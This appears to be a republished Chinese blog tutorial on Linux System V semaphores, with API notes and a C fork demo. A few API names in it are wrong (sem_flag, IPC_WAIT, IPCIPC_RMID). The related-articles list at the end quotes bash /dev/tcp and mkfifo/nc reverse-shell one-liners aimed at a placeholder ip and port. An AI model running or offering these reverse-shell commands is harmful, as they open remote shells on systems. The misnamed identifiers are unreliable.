14-6-进程间通信-信号量

news2024/10/7 10:24:54

前面学习了pipe,fifo,共享内存,信号。

本章将讲述信号量。

一、什么是信号量/信号量集?

1.什么是信号量

        信号量是一个计数器。信号量用于实现进程间的同步和互斥。而可以取多个正整数的信号量被称为通用信号量。

        对信号量的使用场景的解读

        房间:临界资源(操作系统中的多个进程,他们共享各种资源,然而很多资源1次只能供1个进程使用。这种1次仅允许1个进程使用的资源称为临界资源。)

        钥匙:信号量

        只有拿到钥匙才能进入房间(如果进程A正在访问临界资源,则不允许进程B访问临界资源)。

2.什么是信号量集

linux中的信号量不止一个,有很多个。

二、P操作和V操作

p操作:取钥匙

V操作:放回钥匙

三、相关API

1.semget-----创建信号量

通过semget 来创建信号量或获取一个已有的信号量,

函数原型:
    #include <sys/sem.h>
    int semget(key_t key, int nsems, int semflg);

参数:
    key 信号量的关键字,可以通过ftok() 创建,详细看 进程间通信——消息队列
    nsems 信号量的数目(比如1代表信号量集合中有1个信号量)。如果是创建新的信号量,必须要指定nsems。如果是引用现有的信号量,nsems指定为0。
    shmflg 有两个选项,IPC_CREAT 表示内核中没有此信号量则创建它。IPC_EXCL 当和IPC_CREAT一起使用时,如果信号量已经存在,则返回错误。

返回值:
成功返回标识符,否则返回-1。通过errno和perror函数可以查看错误信息。

注意:
通过nsems 可以看出,创建一个信号量,里面可能包含多个信号量值。该信号量就相当于一个集合。该值表明有多少个共享资源单位可供共享应用。下面semctl 也是通过nsems 中的某一个进行操作。
如果nsems 设为1,该信号量又被称为二元信号量(binary semaphore)

2.semctl------初始化信号量

这个函数可以有3个参数或者4个参数

       #include <sys/types.h>
       #include <sys/ipc.h>
       #include <sys/sem.h>
       int semctl(int semid, int semnum, int cmd, ...);

        @semid:信号量数组标识
        @semnum:要操作的信号量数组的信号量下标(比如:0代表操作第0个信号量)(该下表和数组下标一致,比如有1个信号量,则下表为0,有2个信号量则下表为1)
        @cmd:
        IPC_STAT 查询此信号量数组的数据存入arg.buf(buf为struct semid_ds结构体指针)
        IPC_RMID 删除指定semid的信号量数组
        GETVAL 获取信号量的当前值,
        SETVAL 设置信号量的值,初始化要用的命令
————————————————
版权声明:本文为CSDN博主「abist」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/abist/article/details/117606809



       This  function  has  three  or  four arguments, depending on cmd.  When
       there are four, the fourth has the type union semun.  The calling  pro‐
       gram must define this union as follows:
        当使用4个参数时,要定义下面的联合体

           union semun {
               int              val;    /* 钥匙的数量 */
               struct semid_ds *buf;    /* Buffer for IPC_STAT, IPC_SET */
               unsigned short  *array;  /* Array for GETALL, SETALL */
               struct seminfo  *__buf;  /* Buffer for IPC_INFO
                                           (Linux-specific) */
           };

3.semop---信号量的操作

int  semop(int  semid,struct sembuf  *sops,size_t nsops);

函数的参数 
参数semid 为信号量集的标识符;
参数 sops 指向进行操作的结构体数组的首地址;
参数 nsops 指出将要进行操作的信号的个数。

返回值
semop 函数调用成功返回 0,失败返回 -1。





sembuf 结构体对应一个特定信号的操作。
该结构定义在 linux/sem.h,如下所示:
struct  sembuf{
         unsigned short   sem_num;      //信号在信号集中的索引,0代表第一个信号,1代表第二个信号  
         short            sem_op;      //操作类型
         short            sem_flg;    //操作标志
};
sem_num标识信号量集中的第几个信号量,0表示第1个,1表示第2个,nsems - 1表示最后一个。

sem_op标识对信号量的所进行的操作类型。对信号量的操作有三种类型:
    sem_op > 0,对该信号量执行挂出操作,挂出的值由sem_op决定,系统会把sem_op的值加到该信号量的当前值semval(参考文章开头关于每个信号量结构的定义)上。如果sem_flag指定了SEM_UNDO(还原)标志,那么相应信号量的semadj值会减掉sem_op的值。下面会说明semadj的含义。
    sem_op < 0,对该信号量执行等待操作,当信号量的当前值semval >= -sem_op时,semval减掉sem_op的绝对值,为该线程分配对应数目的资源。如果指定SEM_UNDO,相应信号量的semadj就加上sem_op的绝对值。    当semval < -sem_op时,相应信号量的semncnt就加1,调用线程被阻塞,直到semval >= -sem_op,当此条件满足时,调用线程被唤醒,执行相应的分配操作,然后semncnt减去1。
    sem_op = 0,表示调用者希望semval变为0。如果为0则立即返回,如果不为0,相应信号量的semzcnt加1,调用调用线程被阻塞。

sem_flag:信号量操作的属性标志,如果为0,表示正常操作,如果为IPC_WAIT,使对信号量的操作时非阻塞的。即指定了该标志,调用线程在信号量的值不满足条件的情况下不会被阻塞,而是直接返回-1,并将errno设置为EAGAIN。如果为SEM_UNDO,那么将维护进程对信号量的调整值,以便进程结束时恢复信号量的状态。



下面解释一下与单个信号量相关的几个值:
semval:信号量的当前值,在文章开头信号量的结构中已提到。
semncnt:等待semval变为大于当前值的线程数。在文章开头信号量的结构中已提到。
semzcnt:等待semval变为0的线程数。在文章开头信号量的结构中已提到。
semadj:指定信号量针对某个特定进程的调整值。只有sembuf结构的sem_flag指定为SEM_UNDO后,semadj才会随着sem_op而更新。讲简单一点:对某个进程,在指定SEM_UNDO后,对信号量semval值的修改都会反应到semadj上,当该进程终止的时候,内核会根据semadj的值,重新恢复信号量之前的值。


4.P操作(取钥匙)

自定义

要利用semop()来实现




void PGetKey(int id)//id是semget()的返回值
{
    struct sembuf set;//该结构定义在 linux/sem.h
    set.sem_num = 0;//这是下标,0代表第1个信号;
    set.sem_op = -1;//是指对钥匙数量减1;
    set.sem_flag = SEM_UNDO;//配置为SEM_UNDO当进程终止时,自动取消对该钥匙的操作
    semop(id,&set,1);
}

5.V操作(放回钥匙)

自定义

要利用semop()来实现

void VputbackKey(int id)//id是semget()的返回值
{
    struct sembuf set;//该结构定义在 linux/sem.h
    set.sem_num = 0;//这是下标,0代表第1个信号;
    set.sem_op = 1;//是指对钥匙数量加1;
    set.sem_flag = SEM_UNDO;//配置为SEM_UNDO当进程终止时,自动取消对该钥匙的操作
    semop(id,&set,1);
}

四、实验

实验要求:

最初状态:没有钥匙。

创建子进程后,

        让父进程取钥匙(由于钥匙的数量为0,所以父进程取钥匙的动作被阻塞),使用结束(访问临界资源)后打印“father process”,放回钥匙。

        让子进程放钥匙,然后打印“child process”。

(由于最初父进程会被阻塞,所以程序运行结果是先打印"child process"后打印“father process")

思路分析

(1)生成键值

(2)创建信号量

(3)初始化信号量:定义联合体-->钥匙的个数置为0--->使用semctl初始化信号量

(4)创建子进程

(5)判断父子进程

                --->在父进程里:取钥匙,打印“father  process”,放回钥匙。

                ---->在子进程里:放钥匙,打印“child process"

#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>


union semun {
               int              val;    /* Value for SETVAL */
               struct semid_ds *buf;    /* Buffer for IPC_STAT, IPC_SET */
               unsigned short  *array;  /* Array for GETALL, SETALL */
               struct seminfo  *__buf;  /* Buffer for IPC_INFO
                                           (Linux-specific) */
           };

void VputbackKey(int id)//id是semget()的返回值
{
    struct sembuf set;//该结构定义在 linux/sem.h
    set.sem_num = 0;//这是下标,0代表第1个信号;
    set.sem_op = 1;//是指对钥匙数量加1;
    set.sem_flg = SEM_UNDO;//配置为SEM_UNDO当进程终止时,自动取消对该钥匙的操作
    semop(id,&set,1);
    printf("put back key\n");
}


void PGetKey(int id)//id是semget()的返回值
{
    struct sembuf set;//该结构定义在 linux/sem.h
    set.sem_num = 0;//这是下标,0代表第1个信号;
    set.sem_op = -1;//是指对钥匙数量减1;
    set.sem_flg = SEM_UNDO;//配置为SEM_UNDO当进程终止时,自动取消对该钥匙的操作
    semop(id,&set,1);
    printf("get key\n");
}

int main()
{
        key_t key;
        int semid;
        key = ftok(".",2);

        semid = semget(key,1,IPC_CREAT|0666);

        union semun initsem;
        initsem.val = 0;
        semctl(semid,0,SETVAL,initsem);

        int pid = fork();

        if(pid > 0)
        {
                PGetKey(semid);

                printf("father process\n");
                VputbackKey(semid);

        }
        else if(pid == 0)
        {
                VputbackKey(semid);
                printf("child process\n");
               
        }
        else
        {
                printf("fork error\n");
        }
        return 0;
}
   








                          

五、如何销毁钥匙

semctl(semid,0,IPCIPC_RMID);//3个参数

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/482977.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MyBatis学习记录

文章目录 MyBatis介绍JDBC缺点MyBatis简化MyBatis快速入门之查询user表中的所有数据1、创建user表&#xff0c;添加数据2、创建模块&#xff0c;导入坐标3、编写MyBatis核心配置文件 --> 替换连接信息&#xff0c;解决硬编码问题4、编写SQL映射文件 --> 同一管理sql语句&…

计算机网络:DNS域名解析过程

基本概念 DNS是域名系统&#xff08;Domain Name System&#xff09;的缩写&#xff0c;也是TCP/IP网络中的一个协议。在Internet上域名与IP地址之间是一一对应的&#xff0c;域名虽然便于人们记忆&#xff0c;但计算机之间只能互相认识IP地址&#xff0c;域名和IP地址之间的转…

实例解读nn.AdaptiveAvgPool2d((1, 1))

nn.AdaptiveAvgPool2d((1, 1))在PyTorch中创建一个AdaptiveAvgPool2d类的实例。该类在输入张量上执行2D自适应平均池化。 自适应平均池化是一种池化操作&#xff0c;它计算每个输入子区域的平均值并产生一个指定大小的输出张量。子区域的大小是根据输入张量的大小和输出张量的…

5年测试点工?老鸟总结功能到接口自动化测试进阶,自动化核心竞争力...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 我们来说说 功能测…

权限提升:信息收集 .(Linux系统)

权限提升&#xff1a;信息收集. 权限提升简称提权&#xff0c;由于操作系统都是多用户操作系统&#xff0c;用户之间都有权限控制&#xff0c;比如通过 Web 漏洞拿到的是 Web 进程的权限&#xff0c;往往 Web 服务都是以一个权限很低的账号启动的&#xff0c;因此通过 Webshel…

unity 性能优化之GPU和资源优化

Shader相关优化 众所周知&#xff0c;我们在unity里编写Shader使用的HLSL/CG都是高级语言&#xff0c;这是为了可以书写一套Shader兼容多个平台&#xff0c;在unity打包的时候&#xff0c;它会编译成对应平台可以运行的指令&#xff0c;而变体则是&#xff0c;根据宏生成的&am…

【英语】大学英语CET考试,翻译部分(修饰后置,定语从句,插入语,多动句,无主句)

文章目录 3大知识点与出题形式1、修饰后置&#xff08;使用介词&#xff09;2、修饰后置&#xff08;定语从句&#xff08;被逼无奈&#xff09;/which&#xff08;非限制性&#xff0c;加高级&#xff09;&#xff09;3、修饰后置&#xff08;插入语或同位语&#xff08;只有1…

【力扣-20】有效的括号

&#x1f58a;作者 : D. Star. &#x1f4d8;专栏 : 数据结构 &#x1f606;今日分享 : 夏虫不可以语冰 : 出自「庄子秋水」。原句是“井蛙不可以语于海者&#xff0c;拘于虚也&#xff1b;夏虫不可以语于冰者&#xff0c;笃于时也&#xff1b;曲士不可以语于道者&#xff0c;束…

自动驾驶——离散LQR的黎卡提方程Riccati公式推导与LQR工程化

1.LQR Question Background 之前写过连续系统的黎卡提方程Riccati推导&#xff0c;但是考虑到实际工程落地使用的是离散系统&#xff0c;于是又进行了离散黎卡提方程Riccati的公式推导。 2.Proof of Riccati Equation Formula for Discrete Systems 工程化落地&#xff0c;就…

NECCS|全国大学生英语竞赛C类|听力|长对话|15:40~16:33

目录 一、长对话 1.场景词汇&#xff08;接上篇&#xff09; &#xff08;5&#xff09;医院用语 &#xff08;6&#xff09;酒店用语 &#xff08;7&#xff09;机场用语 &#xff08;8&#xff09;办公室用语 二、题目类型 1. 细节题 2. 推理判断题 3. 主旨大意题 …

谈谈常用Reverse shell,以及他们是怎么做到的。

谈谈常用Reverse shell&#xff0c;以及他们是怎么做到的。 前言/bin/bash -i >& /dev/tcp/ip/port 0>&1/bin/bash -i>&/dev/tcp0>&1结合起来 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/frm /tmp/fmkfifo…

【五一创作】【记录】ChatGPT|图片预览魔法咒语魔改,使用 ChatGPT 返回大量可以跳转的链接

很早的时候&#xff0c;我已经留意到 ChatGPT 会以返回图片的 markdown 格式来显示图片&#xff0c;很可能拥有一定的图片上传功能&#xff0c;但是它往往会显示得有些问题。一些代码图片之类的或者风景图什么的都不是很会。 但其实 ChatGPT 是可以直接返回图片类型的回复的&a…

ES6 基础复习

变量声明 变量可能具有的特性 块级作用域&#xff0c;变量提升&#xff08;变量声明之前使用该变量&#xff09;&#xff0c;全局属性&#xff0c;重复声明&#xff0c;暂时性死区&#xff08;变量声明之前的区域无法使用该变量&#xff09;&#xff0c;初始值设置&#xff0…

Doris(23):Doris的函数—字符串函数

1 append_trailing_char_if_absent(VARCHAR str, VARCHAR trailing_char) 如果s字符串非空并且末尾不包含c字符,则将c字符附加到末尾。 trailing_char只包含一个字符,如果包含多个字符,将返回NULL select append_trailing_char_if_absent(a,c);select append_trailing_cha…

企业级信息系统开发讲课笔记3.4 基于Java配置类SSM框架西蒙购物网

文章目录 零、本节学习目标一、网站功能需求二、网站设计思路&#xff08;一&#xff09;设计模式&#xff08;二&#xff09;网站前台&#xff08;三&#xff09;网站后台1、用户管理2、类别管理3、商品管理4、订单管理 &#xff08;四&#xff09;购物流程图 三、网站运行效果…

PowerJob服务端部署

本文来编写一个简单的实例来说下SpringBoot整合PowerJob 文章目录 相关文档快速开始初始化项目启动服务端启动服务注册应用 相关文档 PowerJob是一个定时任务中间件&#xff08;框架&#xff09;&#xff0c;优点很多&#xff0c;PowerJob官网的对比图中可以看到PowerJob比Quar…

如何减少电路中传导噪声

从传导噪声的起源&#xff0c;可以看出可以通过减少器件噪声或周围环境的干扰来降低传导噪声对电路的影响。但在某些场合我们需要特定的器件&#xff0c;同时要求在特定场景下工作。举个例子&#xff1a;在电气隔离系统中&#xff0c;我们需要对电源进行隔离&#xff0c;而 DC/…

堆的基本操作,堆排序(C语言实现)初始化,插入,删除,销毁,排序

文章目录 前言一、堆的基本变量二、堆的基本操作2.1堆的初始化&#xff08;HeapInit&#xff09;2.2堆的销毁&#xff08;HeapDestroy&#xff09;2.3向上调整&#xff08;AdjustUp&#xff09;2.4向下调整&#xff08;AdjustDown&#xff09;2.45堆是否为空&#xff08;HeapEm…

JAVA springboot创业实践学分管理系统idea开发mysql数据库web结构计算机java编程MVC

一、源码特点 idea springboot创业实践学分管理系统是一套完善的web设计系统mysql数据库MVC模式开发&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式 开发。 JAVA springboot创业实践学分管理系统ide…

英语语法第一章之英语语法综述

英语的任何句型基本都可以翻译成 什么怎么样 &#xff0c;在这里什么就是我们常说的主语&#xff0c;而怎么样就是我们常说的谓语; 可能有些小伙伴会反问&#xff0c;不是主谓宾吗&#xff1f;别急等我慢慢讲解 在这里谓语也有很有多的不同的动作 可以独立完成的动作 句型&am…